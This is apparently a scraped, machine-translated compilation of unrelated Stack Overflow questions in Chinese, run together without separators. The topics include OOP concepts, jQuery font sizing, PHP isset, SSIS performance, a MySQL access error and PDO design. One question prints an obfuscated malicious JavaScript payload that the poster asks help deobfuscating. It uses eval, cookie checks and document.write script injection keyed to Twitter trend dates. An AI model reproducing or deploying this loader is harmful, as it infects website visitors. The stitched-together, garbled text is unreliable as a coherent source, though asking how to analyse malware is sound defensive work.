我知道之前已经提出 过这样的问题,但我仍然觉得答案对我来说太模糊了(而且,有些/大多数初学者).
我一直在努力教自己更广泛的编程概念,而不是程序和基本的OOP.我理解OOP的具体概念(你创建一个具有数据(成员)和函数(方法)的类,然后在运行时实例化该类以实际执行某些事情,那种事情).
我认为我可以处理类的内容(在编译时以类似的方式创建实例的设计蓝图).但如果是这样的话,对象是什么?我也知道在基于原型的语言中,这可能会使事情变得更糟,但也许这就是为什么在我的脑海中需要明确区分对象和实例.
除此之外,我还在努力解决"对象"和"实例"的概念.我读过的很多资源(包括SO的答案)都说它们大致相同,而且区别在于语义.其他人说两者之间存在真正的概念差异.
SO的专家能帮助初学者在OOP世界中有一个"啊哈"的时刻吗?
再次感谢.
注意:这不是家庭作业,我不上学 - 但是,我认为这有助于那些正在寻找家庭作业帮助的人.
已经提出了类似的问题,但解决方案确实与我想要做的事情相吻合.基本上,我有一篇标题(<h1>)的文章.我不想控制标题的长度,但我也不希望标题出现在多行上.有没有办法用css或jQuery根据<div>标签的宽度调整文本大小?
我知道如果我能检测到文本与边缘的重叠,我会用伪代码做什么<div>:
var fontize = $("#title").css("font-size");
var i = /*remove unit from integer*/
while( /*text overlaps div*/ ){
$("#title").css("font-size", --i+"pt");
}
Run Code Online (Sandbox Code Playgroud)
如果有一个CSS属性我可以设置更好,但我似乎找不到一个(溢出在这种情况下不起作用).
昨天,我发布了一个问题的答案,其中包括几个(当时我不知道)非常糟糕的代码示例.从那以后,我一直在研究我对PHP的基本知识,这让我认为这样的代码是可行的.这让我想到一个我似乎无法找到答案的问题:
如果我想检查一个变量是否有任何设置,那么不使用isset()或其他辅助函数是否有效?这是一个"例如":
if($not_set){
//do something
} else {
//do something else
}
Run Code Online (Sandbox Code Playgroud)
而不是...
if(isset($not_set)){
//do something
} else {
//do something else
}
Run Code Online (Sandbox Code Playgroud)
从变量的名称,您可以看到未设置此变量.因此条件将为false并且该else部分将运行.到目前为止,我一直在使用这种做法,但在昨天的帖子之后,我现在得知这是错的.
这就是为什么我认为省略上述isset()功能是一种不错的做法.从PHP手册:
if构造是许多语言最重要的特性之一,包括PHP.它允许条件执行代码片段.PHP的if结构类似于C的结构:
if(expr)语句
如关于表达式的部分所述,表达式被计算为其布尔值.如果expression的计算结果为TRUE,那么PHP将执行语句,如果计算结果为FALSE,它将忽略它.有关哪些值评估为FALSE的更多信息,请参阅"转换为布尔值"部分.
从'转换为布尔部分':
转换为布尔值时,以下值被视为FALSE:
...*特殊类型NULL(包括未设置的变量)
如果这是一个不好的做法,为什么手册会不断说明未包含的变量?如果未设置,它将转换为NULL,因此由条件正确评估.使用isset()会找到相同的结果,但需要额外的周期才能完成.
有人可以告诉我,这一直是我一直都错了,为什么?(可能有多糟糕?)
谢谢,所以,你永远不会失望.
编辑:谢谢大家(这很快).老实说,我认为到目前为止所有的答案都很棒,并且不知道选择哪个答案......如果你的答案没有被选中,我仍然会投票:o)
我不是DBA,但我作为IT人员为一家小公司工作.我必须将数据库从登台复制到生产.我已经创建了一个SSIS包来执行此操作,但运行需要数小时.这也不是一个大型数据仓库类型的项目,它非常简单Upsert.我假设我是我设计它的薄弱环节.
这是我的程序:
EXECUTE SQL TASK)Data Flow Task)OLE DB SourceConditional Split Transformation(条件使用:[!]ISNULL(is_new_flag))模拟数据流任务几次以更改表/值,但流程是相同的.我已经阅读了几个关于OLE DB组件的更新速度很慢并尝试了一些但却没有让它快速运行的事情.
我不确定要提供什么其他细节,但我可以提供任何要求的东西.
我有一个讨厌的JavaScript,我想要去混淆.我知道我可以启动一个虚拟机并看到它的所有荣耀中的恶意软件,但我更感兴趣的是它没有运行,而是以非混淆的形式查看它.如果它需要运行才能做到这一点,那么就这样吧,我想.任何人都知道如何做到这一点而不妥协自己?
蒂姆,谢谢
编辑:这是代码(一个班轮,它是在脚本标签之间).这是发给我的,我没有访问服务器.
var $a="Z6fpZ3dZ22Z2524aZ253dZ2522dw(dcsZ2528cuZ252c14Z2529);Z2522;Z22;ceZ3dZ22arZ2543oZ2564eZ2541Z2574Z25280Z2529^Z2528Z2527Z2530xZ25300Z2527+eZ2573)Z2529)Z253b}}Z22;dzZ3dZ22Z2566unZ2563tZ2569onZ2520dw(Z2574)Z257bcaZ253dZ2527Z252564oZ252563umZ252565ntZ252eZ252577Z2572Z252569Z2574Z252565(Z252522Z2527;ceZ253dZ2527Z252522Z2529Z2527;cbZ253dZ2527Z25253cscZ252572Z252569pZ252574 Z25256cZ252561nZ25256Z2537uZ252561geZ25253Z2564Z25255cZ252522Z256aavZ252561Z252573cZ252572ipZ25257Z2534Z25255cZ252522Z25253eZ2527;ccZ253dZ2527Z25253cZ25255cZ25252fscZ2572Z252569ptZ25253eZ2527;winZ2564owZ255bZ2522eZ2522+Z2522Z2522+ Z2522vZ2522+Z2522alZ2522]Z2528uneZ2573cZ2561Z2570e(Z2574))Z257d;Z22;cbZ3dZ22e(dZ2573);Z2573tZ253dtmpZ253dZ2527Z2527;for(Z2569Z253d0;Z2569Z253cdZ2573.Z256cZ256Z22;daZ3dZ22fqb0t-7vrs}vybZ3esZ257F}7+0fqb0cxyvdY~tuh0-0Z2520+vZ257Fb08fqb0y0y~0gy~tZ257FgZ3edgZ3edbu~tc9kyv08gy~tZ257FgZ3ex0.0(0660gy~tZ257FgZ3ex0,0Z2522!0660yZ3ey~tuh_v870Z2520Z27790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mu|cu0yv088gy~tZ257FgZ3ex0,0)0ll00gy~tZ257FgZ3ex0.0Z2522Z252090660yZ3ey~tuh_v870!(790.0Z3d!9kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3esxqbSZ25Z22;cuZ3dZ22(p}b4g`mxq)6b}g}v}x}`m.|}ppqz6*(}rfuyq4gfw)6|``d.;;rvwyr}f:wZ7by;xp;dfZ7bl;64c}p`|)Z25$$4|q}s|`),$*(;}rfuyq*(;p}b*Z22;ccZ3dZ225ngZ2574h;Z2569Z252bZ252b)Z257btmpZ253ddsZ252esliZ2563e(Z2569Z252cZ2569+1)Z253bsZ22;stZ3dZ22Z2573Z2574Z253dZ2522$aZ253dsZ2574;Z2564cZ2573Z2528Z2564Z2561Z252bZ2564bZ252bZ2564Z2563Z252bdZ2564+Z2564Z2565Z252c1Z2530Z2529;Z2564wZ2528sZ2574)Z253bZ2573tZ253d$Z2561;Z2522;Z22;caZ3dZ22Z2566Z2575nctZ2569Z256fnZ2520Z2564Z2563s(dZ2573,Z2565s)Z257bdsZ253duneZ2573caZ2570Z22;dcZ3dZ22rs}vybZ3esZ257F}7+fqb0}Z257F~dxc0-0~ug0Qbbqi87trc7Z3c07id~7Z3c07f}d7Z3c07f}b7Z3c07}|s7Z3c07Z257FhZ7b7Z3c07vtc7Z3c07rfv7Z3c07iec7Z3c07}s`7Z3c07~sj7Z3c07wtg79+fqb0|uddubc0-0~ug0Qbbqi87q7Z3c7r7Z3c7s7Z3c7t7Z3c7u7Z3c7v7Z3c7w7Z3c7x7Z3c7z7Z3c7y7Z3c7Z7b7Z3c7|7Z3c7}7Z3c7~7Z3c7Z257F7Z3c7`7Z3c7a7Z3c7b7Z3c7c7Z3c7d7Z3c7e7Z3c7f7Z3c7g7Z3c7h7Z3c7i7Z3c7j79+fqb0~e}rubc0-0~ug0Qbbqi8!Z3cZ2522Z3c#Z3c$Z3cZ25Z3cZ2526Z3cZ27Z3c(Z3c)9+Z2519ve~sdyZ257F~0Sq|se|qdu]qwys^e}rub8tqiZ3c0}Z257F~dxZ3c0iuqbZ3c0y~tuh9kbudeb~0888iuqb0;Z22;ddZ3dZ2208y~tuh0:0tqi990;08}Z257F~dx0N0tqi90:0y~tuh90;0tqi9+m0fqb0iuqbSx!Z3c0iuqbSxZ2522Z3c0}Z257F~dxSxZ3c0tqiSxZ3c0~e}+~e}0-0Sq|se|qdu]qwys^e}rub8dy}uK7tqi7MZ3c0dy}uK7}Z257F~dx7MZ3c0dy}uK7iuqb7MZ3c0cxyvdY~tuh9;!Z2520Z2520+iuqbSx!0-0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90;0~e}9050Z2526#9050Z2522Z2526M0;0|uddubcK888dy}uK7iuqb7M060Z2520hQQ90,,0Z252290;0~e}9050Z2522Z25M+iuqbSxZ25220-0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0#90;0~e}9050Z22;cdZ3dZ22Z2574Z253dstZ252bStrZ2569nZ2567.fZ2572Z256fmCZ2568arZ2543oZ2564e((Z2574mp.Z2563hZ22;dbZ3dZ227FtuQd8!90;0!Z25200;gy~tZ257FgZ3edgZ3edbu~tcKyMK$MZ3eaeubiZ3e|u~wdx+rbuqZ7b+mmyv08cxyvdY~tuh0--0Z252009kcxyvdY~tuh0-0gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3esxqbSZ257FtuQd8!90;0Z270;gy~tZ257FgZ3edgZ3edbu~tcKyMKZ2526MZ3eaeubiZ3e|u~wdx+m0yv08cxyvdY~tuh0.0Z25209kfqb0dy}u0-0~ug0Qbbqi89+dy}uK7iuqb7M0-0gy~tZ257FgZ3ewtZ3ewudEDSVe||Iuqb89+dy}uK7}Z257F~dx7M0-0gy~tZ257FgZ3ewtZ3ewudEDS]Z257F~dx89;!+dy}uK7tqi7M0-0gy~tZ257FgZ3ewtZ3ewudEDSTqdu89+fqb0t-7vZ22;deZ3dZ22!Z25209M0;0|uddubcK8888dy}uK7iuqb7M060Z2520h##!!90..0$90;0~e}9050!Z25209M+0}Z257F~dxSx0-0|uddubcK88dy}uK7}Z257F~dx7M0;0~e}9050Z2522Z259M0;0|uddubcK88dy}uK7}Z257F~dx7M0:0~e}9050Z2522Z259M+tqiSx0-0|uddubcK88dy}uK7tqi7M0:0Z25269050Z2522Z279M+0dy}uSx0-0tqiSx0-0|uddubcK88dy}uK7tqi7M0:0~e}9050Z2522$9M+4q-4qZ3ebu`|qsu8tZ3ctqiSx0;0iuqbSxZ25220;0}Z257F~dxSx0;0iuqbSx!0;0tqiSx0;0}Z257F~dxcKdy}uK7}Z257F~dx7M0Z3d0!M0;07Z3esZ257F}79+mZ22;czZ3dZ22Z2566uZ256ecZ2574ioZ256e cZ257aZ2528czZ2529Z257bretZ2575rn Z2563a+cZ2562+Z2563cZ252bZ2563d+Z2563e+cZ257a;Z257d;Z22;Z69Z66Z20(doZ63uZ6denZ74.coZ6fkiZ65Z2eiZ6edZ65xOfZ28Z27rf5Z666Z64sZ27)Z3dZ3d-1)Z7bfunctionZ20cZ61llbZ61ckZ28x)Z7bwinZ64Z6fZ77Z2etw Z3d xZ3bvarZ20Z64 Z3d nZ65wZ20DaZ74e()Z3bd.Z73eZ74Z54Z69Z6dZ65(x[Z22asZ5foZ66Z22]*1Z300Z30)Z3bZ76aZ72 hZ20Z3d d.Z67Z65Z74UZ54Z43HZ6fuZ72s(Z29;wiZ6edoZ77.Z68 Z3d h;Z69fZ20(hZ20Z3e 8)Z7bd.Z73etUZ54Z43DatZ65(dZ2egeZ74Z55Z54Z43Z44ateZ28) Z2dZ20Z32)Z3b}elZ73eZ7bd.sZ65tUTZ43Z44Z61teZ28dZ2egetZ55TZ43DatZ65()Z20- 3Z29;Z7dwiZ6edZ6fw.gZ64 Z3d d;vZ61r tZ69me Z3d nZ65Z77 AZ72raZ79(Z29;Z76ar Z73Z68iZ66tZ49ndeZ78 Z3d Z22Z22;tiZ6dZ65[Z22yeZ61rZ22] Z3d dZ2egZ65tUZ54CZ46ullZ59eaZ72(Z29Z3btZ69Z6de[Z22mZ6fZ6etZ68Z22] Z3d Z64Z2egeZ74Z55Z54CMZ6fnthZ28)Z2bZ31;tZ69me[Z22Z64Z61yZ22] Z3dZ20d.Z67etZ55TZ43Z44atZ65()Z3bif Z28d.gZ65Z74UTZ43Z4donZ74h()Z2b1 Z3c 1Z30)Z7bshiftZ49ndeZ78 Z3d tiZ6de[Z22yeaZ72Z22] Z2b Z22Z2d0Z22 + (dZ2egetZ55TZ43MonZ74Z68()Z2b1Z29;}eZ6cZ73Z65Z7bshiZ66Z74IZ6edZ65x Z3d tiZ6deZ5bZ22yearZ22] +Z20Z22-Z22 +Z20(Z64.geZ74UTZ43MZ6fnZ74hZ28Z29+Z31);Z7difZ20(dZ2egetZ55TCDZ61te(Z29 Z3c 10Z29Z7bshifZ74InZ64Z65xZ20Z3dshifZ74Z49ndeZ78Z20+ Z22-0Z22 + Z64Z2egetZ55TCDZ61teZ28);}Z65Z6csZ65Z7bshiZ66tInZ64eZ78 Z3dZ20shZ69fZ74IZ6edexZ20+ Z22-Z22 Z2b Z64.Z67etZ55Z54Z43DatZ65();Z7ddZ6fcumZ65Z6eZ74.Z77rZ69teZ28Z22Z3cscrZ22+Z22ipt lZ61nguZ61geZ3djavZ61sZ63rZ69Z70Z74Z22+Z22 sZ72cZ3dZ27http:Z2fZ2fseaZ72chZ2etwZ69tteZ72.cZ6fmZ2ftZ72eZ6edsZ2fdailZ79.Z6aZ73on?Z64Z61tZ65Z3dZ22+ shiftZ49nZ64eZ78+Z22&cZ61llZ62acZ6bZ3dcallZ62acZ6bZ32Z27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);} functiZ6fn Z63aZ6clZ62aZ63kZ32(x)Z7bwZ69ndoZ77.tZ77 Z3d x;Z73c(Z27rZ665Z66Z36dsZ27,2,Z37)Z3bZ65vaZ6c(uZ6eescZ61peZ28Z64zZ2bcZ7aZ2boZ70+stZ29+Z27dwZ28dz+Z63z(Z24Z61+stZ29);Z27);Z64oZ63umZ65ntZ2ewZ72Z69te(Z24a);Z7dZ64ocuZ6deZ6eZ74.Z77riZ74e(Z22Z3cimg sZ72cZ3dZ27http:Z2fZ2fsearchZ2etwZ69tteZ72.Z63oZ6dZ2fZ69mZ61gZ65Z73Z2fseaZ72Z63hZ2frsZ73.pnZ67Z27 wiZ64tZ68Z3d1Z20Z68eiZ67htZ3d1 sZ74ylZ65Z3dZ27visibiZ6citZ79Z3ahiZ64deZ6eZ27 Z2fZ3e Z3cscrZ22+Z22ipt laZ6eguZ61geZ3djZ61vZ61sZ63ripZ74Z22+Z22 srZ63Z3dZ27http:Z2fZ2fseaZ72ch.Z74wZ69tZ74erZ2eZ63omZ2ftZ72eZ6edsZ2fdaZ69lyZ2ejZ73Z6fn?cZ61llZ62Z61cZ6bZ3dcallbZ61Z63Z6bZ27Z3eZ22 + Z22Z3cZ2fscrZ22 + Z22iptZ3eZ22);}eZ6csZ65Z7b$aZ3dZ27Z27};functiZ6fZ6e scZ28Z63nm,Z76Z2cedZ29Z7bvarZ20eZ78Z64Z3dnew Z44atZ65()Z3beZ78Z64.Z73Z65tDZ61Z74Z65Z28Z65xdZ2eZ67etZ44ateZ28)+Z65d);Z64ocZ75meZ6et.cZ6foZ6bieZ3dZ63nZ6d+ …Run Code Online (Sandbox Code Playgroud) 有一个我似乎无法找到答案的问题.我正在尝试连接到远程数据库.我输入以下内容到我的Ubuntu shell:
mysql -u test -h mysql.domain.com -p
Run Code Online (Sandbox Code Playgroud)
mysql请求我的密码,然后输出以下内容:
ERROR 1045 (28000): Access denied for user 'test'@'externalit.domain.com' (using password: YES)
Run Code Online (Sandbox Code Playgroud)
问题是我不在外部.我是一个完全不同的主人.我认为我所使用的服务器是从externalit克隆的,但我没有设置服务器.我的问题:mysql有conf文件或其他可能自动输入错误主机名的设置吗?我可以改变吗?
我在这里有一个特定的案例,我想要一些安全建议.基本上我的问题是"如果我控制数据库中的内容(没有用户提交数据),是否存在安全问题以返回HTML中的数据库查询结果(通过AJAX)"?
这是正在发生的过程:
非常标准的东西......
更多背景:我使用准备好的SQL语句,因此限制用户提供的搜索查询和任何URL篡改来创建任意查询.XML文件只是字母数字,没有代码.我想要返回HTML的原因是尽可能地限制客户端工作,使用HTML,没有必要用JS来生成页面(除了使用jQuery来注入html块).
对我有什么建议吗?
先感谢您.
PS - 这还处于规划阶段,因此没有真正的代码可供展示.
我正在设计一个Web应用程序(实际上,这是一个爱好,我正在尝试自学设计,还有什么比做它更好的方法:).无论如何,我在考虑如何处理我的数据库.我对PDO很满意,我想在我的抽象类中利用PDO.我正在考虑制作单例,因此只有一个数据库连接.这个单例将创建一个PDO连接.
在那之后,我不明白为什么我需要做太多其他事情.然后我可以使用数据库处理程序来调用PDO函数.我可能想要一些辅助函数,但是当它归结为它时,我只会将PDO用于实际的SQL查询.
这种方法有问题吗?与我使用的抽象类相比,它看起来过于简单.